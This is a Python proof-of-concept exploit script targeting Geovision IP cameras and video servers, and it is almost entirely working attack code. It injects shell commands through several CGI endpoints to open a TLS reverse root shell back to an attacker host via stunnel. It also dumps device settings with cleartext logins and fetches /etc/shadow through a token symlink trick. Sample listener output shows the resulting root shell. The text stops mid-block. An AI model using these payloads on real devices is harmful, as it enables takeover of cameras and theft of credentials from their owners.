Geovision Inc. IP Camera / Video Server Remote Command Execution

`#!/usr/bin/env python2.7  
#  
# [SOF]  
#  
# Geovision Inc. IP Camera & Video Server Remote Command Execution PoC  
# Researcher: bashis <mcw noemail eu> (November 2017)  
#  
###########################################################################################  
#  
# 1. Pop stunnel TLSv1 reverse root shell [Local listener: 'ncat -vlp <LPORT> --ssl'; Verified w/ v7.60]  
# 2. Dump all settings of remote IPC with Login/Passwd in cleartext  
# Using:  
# - CGI: 'Usersetting.cgi' (Logged in user) < v3.12 (Very old) [Used as default]  
# - CGI: 'FilterSetting.cgi' (Logged in user) < v3.12 (Very old)  
# - CGI: 'PictureCatch.cgi' (Anonymous) > v3.10  
# - CGI: 'JpegStream.cgi' (Anonymous) > v3.10  
# 3. GeoToken PoC to login and download /etc/shadow via generated token symlink  
#  
# Sample reverse shell:  
# $ ncat -vlp 1337 --ssl  
# Ncat: Version 7.60 ( https://nmap.org/ncat )  
# Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.  
# Ncat: SHA-1 fingerprint: 3469 C118 43F0 043A 5168 189B 1D67 1131 4B5B 1603  
# Ncat: Listening on :::1337  
# Ncat: Listening on 0.0.0.0:1337  
# Ncat: Connection from 192.168.57.20.  
# Ncat: Connection from 192.168.57.20:16945.  
# /bin/sh: can't access tty; job control turned off  
# /www # id  
# id  
# uid=0(root) gid=0(root)  
# /www # uname -a  
# uname -a  
# Linux IPCAM 2.6.18_pro500-davinci #1 Mon Jun 19 21:27:10 CST 2017 armv5tejl unknown  
# /www # exit  
# $  
  
############################################################################################  
  
import sys  
import socket  
import urllib, urllib2, httplib  
import json  
import hashlib  
import commentjson # pip install commentjson  
import xmltodict # pip install xmltodict  
import select  
import string  
import argparse  
import random  
import base64  
import ssl  
import json  
import os  
import re  
  
#from pwn import *  
  
def split2len(s, n):  
def _f(s, n):  
while s:  
yield s[:n]  
s = s[n:]  
return list(_f(s, n))  
  
# Ignore download of '302 Found/Location' redirections  
class NoRedirection(urllib2.HTTPErrorProcessor):  
  
def http_response(self, request, response):  
return response  
https_response = http_response  
  
class HTTPconnect:  
  
def __init__(self, host, proto, verbose, credentials, Raw, noexploit):  
self.host = host  
self.proto = proto  
self.verbose = verbose  
self.credentials = credentials  
self.Raw = Raw  
self.noexploit = False  
self.noexploit = noexploit  
  
def Send(self, uri, query_headers, query_data, ID):  
self.uri = uri  
self.query_headers = query_headers  
self.query_data = query_data  
self.ID = ID  
  
# Connect-timeout in seconds  
timeout = 10  
socket.setdefaulttimeout(timeout)  
  
url = '{}://{}{}'.format(self.proto, self.host, self.uri)  
  
if self.verbose:  
print "[Verbose] Sending:", url  
  
if self.proto == 'https':  
if hasattr(ssl, '_create_unverified_context'):  
print "[i] Creating SSL Unverified Context"  
ssl._create_default_https_context = ssl._create_unverified_context  
  
if self.credentials:  
Basic_Auth = self.credentials.split(':')  
if self.verbose:  
print "[Verbose] User:",Basic_Auth[0],"password:",Basic_Auth[1]  
try:  
pwd_mgr = urllib2.HTTPpasswordMgrWithDefaultDahua_realm()  
pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])  
auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)  
if verbose:  
http_logger = urllib2.HTTPHandler(debuglevel = 1) # HTTPSHandler... for HTTPS  
opener = urllib2.build_opener(auth_handler,NoRedirection,http_logger)  
else:  
opener = urllib2.build_opener(auth_handler,NoRedirection)  
urllib2.install_opener(opener)  
except Exception as e:  
print "[!] Basic Auth Error:",e  
sys.exit(1)  
else:  
# Don't follow redirects!  
if verbose:  
http_logger = urllib2.HTTPHandler(debuglevel = 1)  
opener = urllib2.build_opener(http_logger,NoRedirection)  
urllib2.install_opener(opener)  
else:  
NoRedir = urllib2.build_opener(NoRedirection)  
urllib2.install_opener(NoRedir)  
  
  
if self.noexploit and not self.verbose:  
print "[<] 204 Not Sending!"  
html = "Not sending any data"  
return html  
else:  
if self.query_data:  
req = urllib2.Request(url, data=urllib.urlencode(self.query_data,doseq=True), headers=self.query_headers)  
if self.ID:  
Cookie = 'CLIENT_ID={}'.format(self.ID)  
req.add_header('Cookie', Cookie)  
else:  
req = urllib2.Request(url, None, headers=self.query_headers)  
if self.ID:  
Cookie = 'CLIENT_ID={}'.format(self.ID)  
req.add_header('Cookie', Cookie)  
rsp = urllib2.urlopen(req)  
if rsp:  
print "[<] {}".format(rsp.code)  
  
if self.Raw:  
return rsp  
else:  
html = rsp.read()  
return html  
  
  
  
#  
# Validate correctness of HOST, IP and PORT  
#  
class Validate:  
  
def __init__(self,verbose):  
self.verbose = verbose  
  
# Check if IP is valid  
def CheckIP(self,IP):  
self.IP = IP  
  
ip = self.IP.split('.')  
if len(ip) != 4:  
return False  
for tmp in ip:  
if not tmp.isdigit():  
return False  
i = int(tmp)  
if i < 0 or i > 255:  
return False  
return True  
  
# Check if PORT is valid  
def Port(self,PORT):  
self.PORT = PORT  
  
if int(self.PORT) < 1 or int(self.PORT) > 65535:  
return False  
else:  
return True  
  
# Check if HOST is valid  
def Host(self,HOST):  
self.HOST = HOST  
  
try:  
# Check valid IP  
socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP  
# Now we check if it is correct typed IP  
if self.CheckIP(self.HOST):  
return self.HOST  
else:  
return False  
except socket.error as e:  
# Else check valid DNS name, and use the IP address  
try:  
self.HOST = socket.gethostbyname(self.HOST)  
return self.HOST  
except socket.error as e:  
return False  
  
  
  
class Geovision:  
  
def __init__(self, rhost, proto, verbose, credentials, raw_request, noexploit, headers, SessionID):  
self.rhost = rhost  
self.proto = proto  
self.verbose = verbose  
self.credentials = credentials  
self.raw_request = raw_request  
self.noexploit = noexploit  
self.headers = headers  
self.SessionID = SessionID  
  
  
def Login(self):  
  
try:  
  
print "[>] Requesting keys from remote"  
URI = '/ssi.cgi/Login.htm'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,None,None)  
response = response.read()[:1500]  
response = re.split('[()<>?"\n_&;/ ]',response)  
# print response  
  
except Exception as e:  
print "[!] Can't access remote host... ({})".format(e)  
sys.exit(1)  
  
try:  
#  
# Geovision way to have MD5 random Login and Password  
#  
CC1 = ''  
CC2 = ''  
for check in range(0,len(response)):  
if response[check] == 'cc1=':  
CC1 = response[check+1]  
print "[i] Random key CC1: {}".format(response[check+1])  
elif response[check] == 'cc2=':  
CC2 = response[check+1]  
print "[i] Random key CC2: {}".format(response[check+1])  
"""  
#  
# Less interesting to know, but leave it here anyway.  
#  
# If the remote server has enabled guest view, these below will not be '0'  
elif response[check] == 'GuestIdentify':  
print "[i] GuestIdentify: {}".format(response[check+2])  
elif response[check] == 'uid':  
if response[check+2]:  
print "[i] uid: {}".format(response[check+2])  
else:  
print "[i] uid: {}".format(response[check+3])  
elif response[check] == 'pid':  
if response[check+2]:  
print "[i] pid: {}".format(response[check+2])  
else:  
print "[i] pid: {}".format(response[check+3])  
"""  
  
if not CC1 and not CC2:  
print "[!] CC1 and CC2 missing!"  
print "[!] Cannot generate MD5, exiting.."  
sys.exit(0)  
  
#  
# Geovision MD5 Format  
#  
uMD5 = hashlib.md5(CC1 + username + CC2).hexdigest().upper()  
pMD5 = hashlib.md5(CC2 + password + CC1).hexdigest().upper()  
# print "[i] User MD5: {}".format(uMD5)  
# print "[i] Pass MD5: {}".format(pMD5)  
  
  
self.query_args = {  
"username":"",  
"password":"",  
"Apply":"Apply",  
"umd5":uMD5,  
"pmd5":pMD5,  
"browser":1,  
"is_check_OCX_OK":0  
}  
  
print "[>] Logging in"  
URI = '/LoginPC.cgi'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
# print response.info()  
  
# if we don't get 'Set-Cookie' back from the server, the Login has failed  
if not (response.info().get('Set-Cookie')):  
print "[!] Login Failed!"  
sys.exit(1)  
if verbose:  
print "Cookie: {}".format(response.info().get('Set-Cookie'))  
  
return response.info().get('Set-Cookie')  
  
except Exception as e:  
print "[i] What happen? ({})".format(e)  
exit(0)  
  
  
def DeviceInfo(self):  
  
try:  
URI = '/PSIA/System/deviceInfo'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,None)  
deviceinfo = xmltodict.parse(response)  
print "[i] Remote target: {} ({})".format(deviceinfo['DeviceInfo']['model'],deviceinfo['DeviceInfo']['firmwareVersion'])  
return True  
  
except Exception as e:  
print "[i] Info about remote target failed ({})".format(e)  
return False  
  
  
def UserSetting(self,DumpSettings):  
self.DumpSettings = DumpSettings  
  
if self.DumpSettings:  
print "[i] Dump Config of remote"  
SH_CMD = '`echo "<!--#include file="SYS_CFG"-->" >/var/www/tmp/Login.htm`'  
else:  
  
print "[i] Launching TLSv1 privacy reverse shell"  
self.headers = {  
'Connection': 'close',  
'Accept-Language' : 'en-US,en;q=0.8',  
'Cache-Control' : 'max-age=0',  
'User-Agent':'Mozilla',  
'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a'  
}  
SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;'  
SH_CMD = SH_CMD.replace("LHOST",lhost)  
SH_CMD = SH_CMD.replace("LPORT",lport)  
  
print "[>] Pwning Usersetting.cgi"  
self.query_args = {  
"umd5":SH_CMD,  
"pmd5":"GEOVISION",  
"nmd5":"PWNED",  
"cnt5":"",  
"username":"",  
"passwordOld":"",  
"passwordNew":"",  
"passwordRetype":"",  
"btnSubmitAdmin":"1",  
"submit":"Apply"  
}  
try:  
URI = '/UserSetting.cgi'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
if DumpSettings:  
print "[i] Dumping"  
URI = '/ssi.cgi/tmp/Login.htm'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID)  
print response  
return True  
  
except Exception as e:  
if str(e) == "timed out" or str(e) == "('The read operation timed out',)":  
print "[!] Enjoy the shell... ({})".format(e)  
return True  
  
  
def PictureCatch(self,DumpSettings):  
self.DumpSettings = DumpSettings  
  
if self.DumpSettings:  
print "[i] Dump Config of remote"  
SH_CMD = '`echo "<!--#include file="SYS_CFG"-->" >/var/www/tmp/Login.htm`'  
else:  
  
print "[i] Launching TLSv1 privacy reverse shell"  
self.headers = {  
'Connection': 'close',  
'Accept-Language' : 'en-US,en;q=0.8',  
'Cache-Control' : 'max-age=0',  
'User-Agent':'Mozilla',  
'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a'  
}  
SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;'  
SH_CMD = SH_CMD.replace("LHOST",lhost)  
SH_CMD = SH_CMD.replace("LPORT",lport)  
  
print "[>] Pwning PictureCatch.cgi"  
self.query_args = {  
"username":SH_CMD,  
"password":"GEOVISION",  
"attachment":"1",  
"channel":"1",  
"secret":"1",  
"key":"PWNED"  
}  
  
try:  
URI = '/PictureCatch.cgi'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
if DumpSettings:  
print "[i] Dumping"  
URI = '/ssi.cgi/tmp/Login.htm'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID)  
print response  
return True  
except Exception as e:  
if str(e) == "timed out" or str(e) == "('The read operation timed out',)":  
print "[!] Enjoy the shell... ({})".format(e)  
return True  
  
  
def JpegStream(self,DumpSettings):  
self.DumpSettings = DumpSettings  
  
if self.DumpSettings:  
print "[i] Dump Config of remote"  
SH_CMD = '`echo "<!--#include file="SYS_CFG"-->" >/var/www/tmp/Login.htm`'  
else:  
  
print "[i] Launching TLSv1 privacy reverse shell"  
self.headers = {  
'Connection': 'close',  
'Accept-Language' : 'en-US,en;q=0.8',  
'Cache-Control' : 'max-age=0',  
'User-Agent':'Mozilla',  
'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a'  
}  
SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;'  
SH_CMD = SH_CMD.replace("LHOST",lhost)  
SH_CMD = SH_CMD.replace("LPORT",lport)  
  
print "[>] Pwning JpegStream.cgi"  
self.query_args = {  
"username":SH_CMD,  
"password":"GEOVISION",  
"attachment":"1",  
"channel":"1",  
"secret":"1",  
"key":"PWNED"  
}  
  
try:  
URI = '/JpegStream.cgi'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
if DumpSettings:  
print "[i] Dumping"  
URI = '/ssi.cgi/tmp/Login.htm'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID)  
print response  
return True  
except Exception as e:  
if str(e) == "timed out" or str(e) == "('The read operation timed out',)":  
print "[!] Enjoy the shell... ({})".format(e)  
return True  
  
#  
# Interesting example of bad code and insufficent sanitation of user input.  
# ';' is filtered in v3.12, and when found in the packet, the packet is simply ignored.  
#  
# Later in the chain the Geovision code will write provided userinput to flash, we may overwrite unwanted flash area if we playing to much here.  
# So, we are limited to 31 char per line (32 MUST BE NULL), to play safe game with this bug.  
#  
# v3.10->3.12 changed how to handle ipfilter  
# From:  
# User input to system() call in FilterSetting.cgi to set iptable rules and then save them in flash  
# To:  
# User input transferred from 'FilterSetting.cgi' to flash (/dev/mtd11), and when the tickbox to activate the filter rules,  
# '/usr/local/bin/geobox-iptables-reload' is triggered to read these rules from flash and '/usr/local/bin/iptables' via 'geo_net_filter_table_add'  
# with system() call in 'libgeo_net.so'  
#   
  
# Should end up into;  
# 23835 root 576 S sh -c /usr/local/bin/iptables -A INPUT -s `/usr/loca...[trunkated]  
# 23836 root 2428 S /usr/local/bin/stunnel /tmp/x  
# 23837 root 824 S /bin/sh  
  
  
def FilterSetting(self):  
  
try:  
print "[>] Pwning FilterSetting.cgi"  
#  
# ';' will be treated by the code as LF  
#   
# Let's use some TLSv1 privacy for the reverse shell   
#  
SH_CMD = 'client=yes;connect=LHOST:LPORT;exec=/bin/sh;pty=yes;sslVersion=TLSv1'  
#  
SH_CMD = SH_CMD.replace("LHOST",lhost)  
SH_CMD = SH_CMD.replace("LPORT",lport)  
ShDict = SH_CMD.split(';')  
  
MAX_SIZE = 31 # Max Size of the strings to generate  
LF = 0  
LINE = 0  
CMD = {}  
CMD_NO_LF = "`echo -n \"TMP\">>/tmp/x`"  
CMD_DO_LF = "`echo \"TMP\">>/tmp/x`"  
SIZE = MAX_SIZE-(len(CMD_NO_LF)-3) # Size of availible space for our input in 'SH_CMD'  
  
# Remove, just in case  
CMD[LINE] = "`rm -f /tmp/x`"  
  
URI = '/FilterSetting.cgi'  
#  
# This loop will make the correct aligment of user input  
#  
for cmd in range(0,len(ShDict)):  
CMD_LF = math.ceil(float(len(ShDict[cmd])) / SIZE)  
cmd_split = split2len(ShDict[cmd], SIZE)  
for CMD_LEN in range(0,len(cmd_split)):  
LINE += 1  
LF += 1  
if (len(cmd_split[CMD_LEN]) > SIZE-1) and (CMD_LF != LF):  
CMD[LINE] = CMD_NO_LF.replace("TMP",cmd_split[CMD_LEN])  
else:  
CMD[LINE] = CMD_DO_LF.replace("TMP",cmd_split[CMD_LEN])  
LF = 0  
if verbose:  
print "Len: {} {}".format(len(CMD[LINE]),CMD[LINE])  
  
# Add two more commands to execute stunnel and remove /tmp/x  
CMD[LINE+1] = "`/usr/local/bin/stunnel /tmp/x`" # 31 char, no /usr/local/bin in $PATH  
CMD[LINE+2] = "`rm -f /tmp/x`" # Some bug here, think it is timing as below working  
CMD[LINE+3] = "`rm -f /tmp/x`" # Working, this is only one more add/enable/disable/remove loop  
#  
# Below while() loop will create following /tmp/x, execute 'stunnel' and remove /tmp/x  
#  
# client=yes  
# connect=<LHOST>:<LPORT>  
# exec=/bin/sh  
# pty=yes  
# sslVersion=TLSv1  
#  
  
NEW_IP_FILTER = 1 # > v3.12  
CMD_LEN = 0  
who = 0  
# Clean up to make room, just in case  
for Remove in range(0,4):  
print "[>] Cleaning ipfilter entry: {}".format(Remove+1)  
self.query_args = {  
"bPolicy":"0", # 1 = Enable, 0 = Disable  
"Delete":"Remove", # Remove entry  
"szIpAddr":"",  
"byOpId":"0", # 0 = Allow, 1 = Deny  
"dwSelIndex":"0",  
}  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
  
while True:  
if who == len(CMD):  
break  
if CMD_LEN < 4:  
  
print "[>] Sending: {} ({})".format(CMD[who],len(CMD[who]))  
self.query_args = {  
"szIpAddr":CMD[who], # 31 char limit  
"byOpId":"0", # 0 = Allow, 1 = Deny  
"dwSelIndex":"0", # Seems not to be in use  
"Add":"Apply"  
}  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
response = re.split('[()<>?"\n_&;/ ]',response)  
print response  
if NEW_IP_FILTER:  
for cnt in range(0,len(response)):  
if response[cnt] == 'iptables':  
NEW_IP_FILTER = 0  
print "[i] Remote don't need Enable/Disable"  
break  
CMD_LEN += 1  
who += 1  
time.sleep(2) # Seems to be too fast without  
# NEW Way  
elif NEW_IP_FILTER:  
print "[>] Enabling ipfilter"  
self.query_args = {  
"bPolicy":"1", # 1 = Enable, 0 = Disable  
"szIpAddr":"",  
"byOpId":"0", # 0 = Allow, 1 = Deny  
"dwSelIndex":"0",  
}  
  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
  
print "[i] Sleeping..."  
time.sleep(5)  
  
print "[>] Disabling ipfilter"  
self.query_args = {  
"szIpAddr":"",  
"byOpId":"0",  
"dwSelIndex":"0",  
}  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
  
for Remove in range(0,4):  
print "[>] Deleting ipfilter Entry: {}".format(Remove+1)  
self.query_args = {  
"bPolicy":"0", # 1 = Enable, 0 = Disable  
"Delete":"Remove",  
"szIpAddr":"",  
"byOpId":"0",  
"dwSelIndex":"0",  
}  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
CMD_LEN = 0  
# OLD Way  
else:  
for Remove in range(0,4):  
print "[>] Deleting ipfilter Entry: {}".format(Remove+1)  
self.query_args = {  
"bPolicy":"0", # 1 = Enable, 0 = Disable  
"Delete":"Remove",  
"szIpAddr":"",  
"byOpId":"0",  
"dwSelIndex":"0",  
}  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
CMD_LEN = 0  
  
if NEW_IP_FILTER:  
print "[i] Last sending"  
print "[>] Enabling ipfilter"  
self.query_args = {  
"bPolicy":"1", # 1 = Enable, 0 = Disable  
"szIpAddr":"",  
"byOpId":"0", # 0 = Allow, 1 = Deny  
"dwSelIndex":"0",  
}  
  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
  
print "[i] Sleeping..."  
time.sleep(5)  
  
print "[>] Disabling ipfilter"  
self.query_args = {  
"szIpAddr":"",  
"byOpId":"0",  
"dwSelIndex":"0",  
}  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
  
for Remove in range(0,4):  
print "[>] Deleting ipfilter Entry: {}".format(Remove+1)  
self.query_args = {  
"bPolicy":"0", # 1 = Enable, 0 = Disable  
"Delete":"Remove",  
"szIpAddr":"",  
"byOpId":"0",  
"dwSelIndex":"0",  
}  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
  
print "[!] Enjoy the shell... "  
  
return True  
  
except Exception as e:  
  
if not NEW_IP_FILTER:  
print "[i] Last sending"  
for Remove in range(0,4):  
print "[>] Deleting ipfilter Entry: {}".format(Remove+1)  
self.query_args = {  
"bPolicy":"0", # 1 = Enable, 0 = Disable  
"Delete":"Remove",  
"szIpAddr":"",  
"byOpId":"0",  
"dwSelIndex":"0",  
}  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
print "[!] Enjoy the shell... "  
return True  
  
print "[!] Hmm... {}".format(e)  
print response.read()  
return True  
  
  
def GeoToken(self):  
  
print "[i] GeoToken PoC to login and download /etc/shadow via token symlink"  
print "[!] You must have valid login and password to generate the symlink"  
try:  
  
#########################################################################################  
# This is how to list remote *.wav and *.avi files in /storage.  
  
"""  
print "[>] Requesting token1"  
URI = '/BKCmdToken.php'  
response = HTTPconnect(rhost,proto,verbose,credentials,raw_request,noexploit).Send(URI,headers,None,None)  
result = json.load(response)  
if verbose:  
print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))  
  
print "[i] Request OK?: {}".format(result['success'])  
if not result['success']:  
sys.exit(1)  
token1 = result['token']  
  
#  
# SAMPLE OUTPUT  
#  
#{  
# "success": true,  
# "token": "6fe1a7c1f34431acc7eaecba646b7caf"  
#}  
#  
# Generate correct MD5 token2  
token2 = hashlib.md5(hashlib.md5(token1 + 'gEo').hexdigest() + 'vIsIon').hexdigest()  
query_args = {  
"token1":token1,  
"token2":token2  
}  
  
print "[>] List files"  
URI = '/BKFileList.php'  
response = HTTPconnect(rhost,proto,verbose,credentials,raw_request,noexploit).Send(URI,headers,query_args,None)  
result = json.load(response)  
if verbose:  
print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))  
  
for who in result.keys():  
print len(who)  
#  
# SAMPLE OUTPUT  
#  
#{  
# "files": [  
# {  
# "file_size": "2904170",  
# "filename": "event20171105104946001.avi",  
# "remote_path": "/storage/hd11-1/GV-MFD1501-0a99a9/cam01/2017/11/05"  
# },  
# {}  
# ]  
#}  
#########################################################################################  
"""  
  
# Request remote MD5 token1  
print "[>] Requesting token1"  
URI = '/BKCmdToken.php'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,None,None)  
result = json.load(response)  
if verbose:  
print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))  
  
print "[i] Request OK?: {}".format(result['success'])  
if not result['success']:  
return False  
token1 = result['token']  
#  
# SAMPLE OUTPUT   
#{  
# "success": true,  
# "token": "6fe1a7c1f34431acc7eaecba646b7caf"  
#}  
#  
#  
# Generate correct MD5 token2  
#  
# MD5 Format: <login>:<token1>:<password>  
#  
token2 = hashlib.md5(username + ':' + token1 + ':' + password).hexdigest()   
  
#  
# symlink this file for us  
#  
filename = '/etc/shadow'  
  
self.query_args = {  
"token1":token1,  
"token2":token2,  
"filename":filename  
}  
  
print "[>] Requesting download file link"  
URI = '/BKDownloadLink.cgi'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,None)  
response = response.read()#[:900]  
response = response.replace("'", "\"")  
result = json.loads(response)  
print "[i] Request OK?: {}".format(result['success'])  
if not result['success']:  
return False  
if verbose:  
print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))  
  
  
#  
# SAMPLE OUTPUT  
#  
#{  
# "dl_folder": "/tmp",  
# "dl_token": "C71689493825787.dltoken",  
# "err_code": 0,  
# "success": true  
#}  
#  
  
URI = '/ssi.cgi' + result['dl_folder'] + '/' + result['dl_token']  
  
print "[>] downloading ({}) with ({})".format(filename,URI)  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,None)  
response = response.read()  
print response  
return True  
  
except Exception as e:  
print "[i] GEO Token fail ({})".format(e)  
return False  
  
  
if __name__ == '__main__':  
  
#  
# Help, info and pre-defined values  
#   
INFO = '[Geovision Inc. IPC/IPV RCE PoCs (2017 bashis <mcw noemail eu>)]\n'  
HTTP = "http"  
HTTPS = "https"  
proto = HTTP  
verbose = False  
noexploit = False  
raw_request = True  
rhost = '192.168.57.20' # Default Remote HOST  
rport = '80' # Default Remote PORT  
lhost = '192.168.57.1' # Default Local HOST  
lport = '1337' # Default Local PORT  
# creds = 'root:pass'  
credentials = False  
  
#  
# Geovision stuff  
#  
SessionID = str(int(random.random() * 100000))  
DumpSettings = False  
deviceinfo = False  
GEOtoken = False  
anonymous = False  
filtersetting = False  
usersetting = False  
jpegstream = False  
picturecatch = False  
# Geovision default  
username = 'admin'  
password = 'admin'  
  
#   
# Try to parse all arguments  
#  
try:  
arg_parser = argparse.ArgumentParser(  
prog=sys.argv[0],  
description=('[*] '+ INFO +' [*]'))  
arg_parser.add_argument('--rhost', required=True, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')  
arg_parser.add_argument('--rport', required=True, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']')  
arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']')  
arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']')  
arg_parser.add_argument('--autoip', required=False, default=False, action='store_true', help='Detect External Connect Back IP [Default: False]')  
  
arg_parser.add_argument('--deviceinfo', required=False, default=False, action='store_true', help='Request model and firmware version')  
  
arg_parser.add_argument('-g','--geotoken', required=False, default=False, action='store_true', help='Try retrieve /etc/shadow with geotoken')  
arg_parser.add_argument('-a','--anonymous', required=False, default=False, action='store_true', help='Try pwning as anonymous')  
arg_parser.add_argument('-f','--filtersetting', required=False, default=False, action='store_true', help='Try pwning with FilterSetting.cgi')  
arg_parser.add_argument('-p','--picturecatch', required=False, default=False, action='store_true', help='Try pwning with PictureCatch.cgi')  
arg_parser.add_argument('-j','--jpegstream', required=False, default=False, action='store_true', help='Try pwning with JpegStream.cgi')  
arg_parser.add_argument('-u','--usersetting', required=False, default=False, action='store_true', help='Try pwning with UserSetting.cgi')  
arg_parser.add_argument('-d','--dump', required=False, default=False, action='store_true', help='Try pwning remote config')  
  
  
arg_parser.add_argument('--username', required=False, help='Username [Default: '+ username +']')  
arg_parser.add_argument('--password', required=False, help='password [Default: '+ password +']')  
if credentials:  
arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ credentials + ']')  
arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]')  
arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]')  
arg_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple testmode; With --verbose testing all code without exploiting [Default: False]')  
args = arg_parser.parse_args()  
except Exception as e:  
print INFO,"\nError: {}\n".format(str(e))  
sys.exit(1)  
  
print "\n[*]",INFO  
  
if args.verbose:  
verbose = args.verbose  
#  
# Check validity, update if needed, of provided options  
#  
if args.https:  
proto = HTTPS  
if not args.rport:  
rport = '443'  
  
if credentials and args.auth:  
credentials = args.auth  
  
if args.geotoken:  
GEOtoken = args.geotoken  
  
if args.anonymous:  
anonymous = True  
  
if args.deviceinfo:  
deviceinfo = True  
  
if args.dump:  
DumpSettings = True  
  
if args.filtersetting:  
FilterSetting = True  
  
if args.usersetting:  
usersetting = True  
  
if args.jpegstream:  
jpegstream = True  
  
if args.picturecatch:  
picturecatch = True  
  
if args.username:  
username = args.username  
  
if args.password:  
password = args.password  
  
if args.noexploit:  
noexploit = args.noexploit  
  
if args.rport:  
rport = args.rport  
  
if args.rhost:  
rhost = args.rhost  
IP = args.rhost  
  
if args.lport:  
lport = args.lport  
  
if args.lhost:  
lhost = args.lhost  
elif args.autoip:  
# HTTP check of our external IP  
try:  
  
headers = {  
'Connection': 'close',  
'Accept' : 'gzip, deflate',  
'Accept-Language' : 'en-US,en;q=0.8',  
'Cache-Control' : 'max-age=0',  
'User-Agent':'Mozilla'  
}  
  
print "[>] Trying to find out my external IP"  
lhost = HTTPconnect("whatismyip.akamai.com",proto,verbose,credentials,False,noexploit).Send("/",headers,None,None)  
if verbose:  
print "[Verbose] Detected my external IP:",lhost  
except Exception as e:  
print "[<] ",e  
sys.exit(1)  
  
# Check if RPORT is valid  
if not Validate(verbose).Port(rport):  
print "[!] Invalid RPORT - Choose between 1 and 65535"  
sys.exit(1)  
  
# Check if RHOST is valid IP or FQDN, get IP back  
rhost = Validate(verbose).Host(rhost)  
if not rhost:  
print "[!] Invalid RHOST"  
sys.exit(1)  
  
# Check if LHOST is valid IP or FQDN, get IP back  
lhost = Validate(verbose).Host(lhost)  
if not lhost:  
print "[!] Invalid LHOST"  
sys.exit(1)  
  
# Check if RHOST is valid IP or FQDN, get IP back  
rhost = Validate(verbose).Host(rhost)  
if not rhost:  
print "[!] Invalid RHOST"  
sys.exit(1)  
  
  
#  
# Validation done, start print out stuff to the user  
#  
if args.https:  
print "[i] HTTPS / SSL Mode Selected"  
print "[i] Remote target IP:",rhost  
print "[i] Remote target PORT:",rport  
if not args.geotoken and not args.dump and not args.deviceinfo:  
